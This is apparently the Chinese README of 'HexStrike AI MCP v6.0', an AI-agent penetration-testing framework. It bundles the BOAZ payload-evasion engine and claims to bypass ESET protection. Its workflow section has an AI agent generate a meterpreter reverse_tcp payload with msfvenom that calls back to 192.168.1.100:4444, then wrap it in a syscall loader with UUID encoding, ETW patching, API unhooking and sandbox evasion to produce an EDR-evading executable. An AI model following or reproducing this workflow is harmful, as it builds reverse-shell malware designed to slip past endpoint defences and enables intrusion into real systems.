高级AI驱动的渗透测试MCP框架,配备127种安全工具(53种自动安装),12种以上自主AI代理,以及BOAZ红队负载规避(77种以上加载器,12种编码器)
📋 新功能 • 🏗️ 架构概述 • 🚀 安装 • 🛠️ 功能 • 🤖 AI代理 • 📡 API参考
</div>HexStrike AI MCP v6.0 特征多代理架构,包括自主AI代理、智能决策和漏洞情报。
%%{init: {"themeVariables": {
"primaryColor": "#b71c1c",
"secondaryColor": "#ff5252",
"tertiaryColor": "#ff8a80",
"background": "#2d0000",
"edgeLabelBackground":"#b71c11c",
"fontFamily": "monospace",
"fontSize": "16px",
"fontColor": "#fffde7",
"nodeTextColor": "#fffde7"
}}}%%
graph TD
A[AI代理 - Claude/GPT/Copilot] -->|MCP协议| B[HexStrike MCP服务器v6.0]
B --> C[智能决策引擎]
B --> D[12种以上自主AI代理]
B --> E[现代视觉引擎]
B --> BOAZ[BOAZ负载引擎]
C --> F[工具选择AI]
C --> G[参数优化]
C --> H[攻击链发现]
D --> I[漏洞赏金代理]
D --> J[CTF解题代理]
D --> K[CVE情报代理]
D --> L[利用生成代理]
E --> M[实时仪表板]
E --> N[进度可视化]
E --> O[漏洞卡片]
BOAZ --> BOAZ1[77种以上进程注入加载器]
BOAZ --> BOAZ2[12种编码方案]
BOAZ --> BOAZ3[EDR/AV规避]
BOAZ1 --> BOAZ4[系统调用/隐身/无线程]
BOAZ2 --> BOAZ5[AES/ChaCha20/UUID/XOR]
BOAZ3 --> BOAZ6[API解除挂钩/ETW修补]
B --> P[127种安全工具 - 53种自动安装]
P --> Q[网络工具 - 10种]
P --> R[Web应用工具 - 19种]
P --> S[云工具 - 10种]
P --> T[二进制工具 - 13种]
P --> U[CTF工具 - 10种]
P --> V[OSINT工具 - 13种]
B --> W[高级进程管理]
W --> X[智能缓存]
W --> Y[资源优化]
W --> Z[错误恢复]
style A fill:#b71c1c,stroke:#ff5252,stroke-width:3px,color:#fffde7
style B fill:#ff5252,stroke:#b71c1c,stroke-width:4px,color:#fffde7
style C fill:#ff8a80,stroke:#b71c1c,stroke-width:2px,color:#fffde7
style D fill:#ff8a80,stroke:#b71c1c,stroke-width:2px,color:#fffde7
style E fill:#ff8a80,stroke:#b71c1c,stroke-width:2px,color:#fffde7
style BOAZ fill:#d32f2f,stroke:#b71c1c,stroke-width:3px,color:#fffde7
# 1. 克隆仓库
git clone https://github.com/Yenn503/Hexstrike-redteam.git hexstrike-ai
cd hexstrike-ai
# 2. 创建虚拟环境
python3 -m venv hexstrike-env
source hexstrike-env/bin/activate # Linux/Mac
# hexstrike-env\Scripts\activate # Windows
# 3. 安装Python依赖
pip3 install -r requirements.txt
# 4. **必需:安装BOAZ系统依赖**
# 此步骤对于BOAZ负载生成工作是强制性的
# 安装MinGW、NASM、Wine、LLVM混淆器(Akira/Pluto)和构建工具
cd BOAZ_beta
bash requirements.sh
cd ..
# 脚本将:
# - 安装MinGW交叉编译器(x86_64-w64-mingw32-g++)
# - 安装NASM汇编器
# - 安装Wine(用于测试Windows二进制文件)
# - 构建Akira LLVM混淆器(约30分钟编译时间)
# - 构建Pluto LLVM混淆器(约20分钟编译时间)
# - 安装签名工具(Mangle、pyMetaTwin)
# - 安装SysWhispers2以生成系统调用
# **注意**:这可能需要一段时间,具体取决于您的系统。当提示时,请回答'y'。
观看完整的安装和设置教程:YouTube - HexStrike AI安装及演示
您可以安装并运行各种AI客户端上的HexStrike AI MCP,包括:
请参阅上述视频中的逐步说明和这些平台的集成示例。
自动化安装(推荐):
运行安装脚本来自动安装53种基本安全工具:
cd install
sudo ./install_all.sh
这将安装:
自动安装的内容(53种工具):
<details> <summary><b>✓ 网络与侦察(10种工具)</b></summary>需要手动安装的工具(74种工具):
由于许可证、依赖项或系统要求,一些专用工具需要手动安装:
安装注意事项:
浏览器代理需求:
# Chrome/Chromium用于浏览器代理
sudo apt install chromium-browser chromium-chromedriver
# 或安装Google Chrome
wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" | sudo tee /etc/apt/sources.list.d/google-chrome.list
sudo apt update && sudo apt install google-chrome-stable
# 启动MCP服务器
python3 hexstrike_server.py
# 可选:启动调试模式
python3 hexstrike_server.py --debug
# 可选:自定义端口配置
python3 hexstrike_server.py --port 8888
# 测试服务器健康状况
curl http://localhost:8888/health
# 测试AI代理能力
curl -X POST http://localhost:8888/api/intelligence/analyze-target \
-H "Content-Type: application/json" \
-d '{"target": "example.com", "analysis_type": "comprehensive"}'
编辑~/.config/Claude/claude_desktop_config.json:
{
"mcpServers": {
"hexstrike-ai": {
"command": "python3",
"args": [
"/path/to/hexstrike-ai/hexstrike_mcp.py",
"--server",
"http://localhost:8888"
],
"description": "HexStrike AI v6.0 - 高级网络安全自动化平台",
"timeout": 300,
"disabled": false
}
}
}
在.vscode/settings.json中配置VS Code设置:
{
"servers": {
"hexstrike": {
"type": "stdio",
"command": "python3",
"args": [
"/path/to/hexstrike-ai/hexstrike_mcp.py",
"--server",
"http://localhost:8888"
]
}
},
"inputs": []
}
HexStrike现在包括BOAZ,一个用于红队操作的高级负载规避框架:
BOAZ生成的有效负载成功绕过了ESET Smart Security Premium
<img src="assets/EDRbypass.png" alt="BOAZ EDR绕过" width="800"/>具有隐身注入技术的有效负载绕过了实时保护,并保持了低检测配置文件
完整流程:MSFVenom生成 → BOAZ规避 → 企业级隐身有效负载
<img src="assets/Hex-Boaz.png" alt="BOAZ MSFVenom混淆" width="900"/>展示了BOAZ如何将标准MSFVenom有效负载转换为复杂的规避二进制文件,包括:
关键工作流(文件必须位于BOAZ_beta目录中):
# 第一步:询问用户需要哪种规避
# 用户:“我需要绕过EDR用户层钩子”
# 第二步:列出系统调用加载器(绕过EDR钩子)
boaz_list_loaders(category="syscall")
# 返回带有直接系统调用技术的加载器1-11
# 第三步:使用MSFVenom生成初始有效负载
msfvenom_scan(
payload="windows/x64/meterpreter/reverse_tcp",
lhost="192.168.1.100",
lport=4444,
output="payload.exe" # 创建payload.exe
)
# 第四步:将有效负载移动到BOAZ_beta目录(必需!)
# 手动运行:cp payload.exe BOAZ_beta/
# 第五步:使用适当的加载器应用BOAZ规避
result = boaz_generate_payload(
input_file="payload.exe", # BOAZ_beta/内的文件
output_file="output/evasive.exe", # 将位于BOAZ_beta/output/
loader=3, # Sifu系统调用(直接系统调用)
encoding="uuid", # UUID编码
anti_emulation=True, # 绕过沙箱
etw=True, # ETW修补
api_unhooking=True, # API解除挂钩
sleep=True # 睡眠规避
)
# 第六步:检查结果并找到有效负载
# 如果result['success'] == True:
# - 有效负载位于:result['output_path'](完整的绝对路径)
# - 示例:/path/to/hexstrike-ai/BOAZ_beta/output/evasive.exe
# - 文件大小:result['file_size'](通常约为500KB,高度混淆)
# 如果result['success'] == False:
# - 尝试同一类别的其他加载器
# - 检查result['error']和result['stderr']以获取编译错误
其他BOAZ工具:
# 列出可用加载器类别
boaz_list_loaders(category="stealth")
# 分析二进制熵
boaz_analyze_binary(file_path="payload.exe") # 必须在BOAZ_beta/
# 列出编码方案
boaz_list_encoders()
# 验证配置
boaz_validate_options(loader=16, encoding="uuid")
重要注意事项: